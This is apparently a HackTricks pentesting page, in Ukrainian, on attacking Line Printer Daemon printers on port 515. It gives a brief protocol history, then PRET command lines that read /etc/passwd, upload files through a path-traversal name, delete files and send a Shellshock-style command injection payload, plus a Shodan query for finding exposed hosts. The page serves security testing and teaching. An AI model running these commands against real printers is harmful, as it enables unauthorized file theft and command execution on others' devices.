515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

Вступ до протоколу LPD

У 1980-х роках був розроблений протокол Line Printer Daemon (LPD) в Berkeley Unix, який пізніше був формалізований через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодії через команду lpr. Суть друку через LPD полягає в надсиланні контрольного файлу (для вказівки деталей завдання та користувача) разом з даними файлу (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір різних форматів файлів для даних файлу, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для Unix-подібних систем є LPRng. Варто зазначити, що протокол LPD може бути використаний для виконання зловмисного PostScript або PJL друкованих завдань.

Інструменти для взаємодії з принтерами LPD

PRET представляє два основні інструменти, lpdprint і lpdtest, які пропонують простий спосіб взаємодії з принтерами, сумісними з LPD. Ці інструменти дозволяють виконувати ряд дій, від друку даних до маніпуляцій з файлами на принтері, таких як завантаження, вивантаження або видалення:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Для тих, хто зацікавлений у подальшому вивченні сфери printer hacking, всебічний ресурс можна знайти тут: Hacking Printers.

Shodan

  • port 515

Підтримайте HackTricks

Last updated